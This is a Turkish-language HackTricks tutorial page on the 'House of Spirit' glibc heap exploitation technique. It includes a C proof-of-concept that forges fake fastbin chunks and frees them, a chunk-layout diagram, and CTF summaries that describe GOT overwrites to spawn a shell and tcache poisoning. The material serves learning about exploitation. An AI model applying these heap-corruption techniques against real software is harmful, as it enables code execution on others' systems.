House of Spirit
Last updated
Last updated
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)
abonelik planlarını kontrol edin!
💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**
Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
```c #include #include #include #include
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };
int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;
ptr = malloc(0x30);
printf("Original alloc address: %p\n", ptr); printf("Main fake chunk:%p\n", &fake_chunks[0]); printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
// Passes size check of "free(): invalid size" fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)" fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be 'freed' // Point to .fd as it's the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;
free(ptr);
victim = malloc(0x30); printf("Victim: %p\n", victim);
return 0; }
</details>
### Hedef
* tcache / fast bin'e bir adres ekleyebilmek, böylece daha sonra onu tahsis etmek mümkün olsun.
### Gereksinimler
* Bu saldırı, bir saldırganın doğru boyut değerini belirten birkaç sahte hızlı parça oluşturabilmesini ve ardından ilk sahte parçayı serbest bırakabilmesini gerektirir, böylece bin'e girebilir.
### Saldırı
* Güvenlik kontrollerini aşan sahte parçalar oluşturun: temelde doğru pozisyonlarda doğru boyutları belirten 2 sahte parçaya ihtiyacınız olacak.
* İlk sahte parçayı serbest bırakmayı başarmak, böylece fast veya tcache bin'e girmesi ve ardından o adresi üzerine yazmak için tahsis edilmesi gerekir.
**[**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **saldırıyı anlamak için harika bir kod.** Bu koddan alınan şema bunu oldukça iyi özetliyor:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
İkinci parçayı oluşturmanın bazı mantık kontrollerini aşmak için gerekli olduğunu unutmayın.
Libc infoleak: Bir taşma aracılığıyla, bir işaretçiyi bir GOT adresine işaret edecek şekilde değiştirmek mümkündür, böylece CTF'nin okuma eylemi aracılığıyla bir libc adresi sızdırılabilir.
House of Spirit: "Tüfek" sayısını sayan bir sayacı kötüye kullanarak, ilk sahte parçanın sahte boyutunu oluşturmak mümkündür, ardından bir "mesaj"ı kötüye kullanarak bir parçanın ikinci boyutunu sahte hale getirmek ve nihayetinde bir taşmayı kötüye kullanarak serbest bırakılacak bir işaretçiyi değiştirmek mümkündür, böylece ilk sahte parçamız serbest bırakılır. Sonra, bunu tahsis edebiliriz ve içinde "mesaj"ın saklandığı adres olacak. Ardından, bunun GOT tablosundaki scanf
girişine işaret etmesi sağlanabilir, böylece bunu sistemin adresi ile üzerine yazabiliriz.
Bir sonraki scanf
çağrıldığında, girdi olarak "/bin/sh"
gönderebiliriz ve bir shell alabiliriz.
Glibc leak: Başlatılmamış yığın tamponu.
House of Spirit: Bir yığın işaretçileri kümesinin ilk indeksini değiştirebiliriz. Tek bir bayt değişikliği ile, geçerli bir parçanın içinde sahte bir parçayı free
ile kullanarak, tekrar tahsis ettikten sonra üst üste binen parçalar durumu elde ederiz. Bununla, basit bir Tcache zehirleme saldırısı, keyfi bir yazma ilkesini elde etmek için çalışır.
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)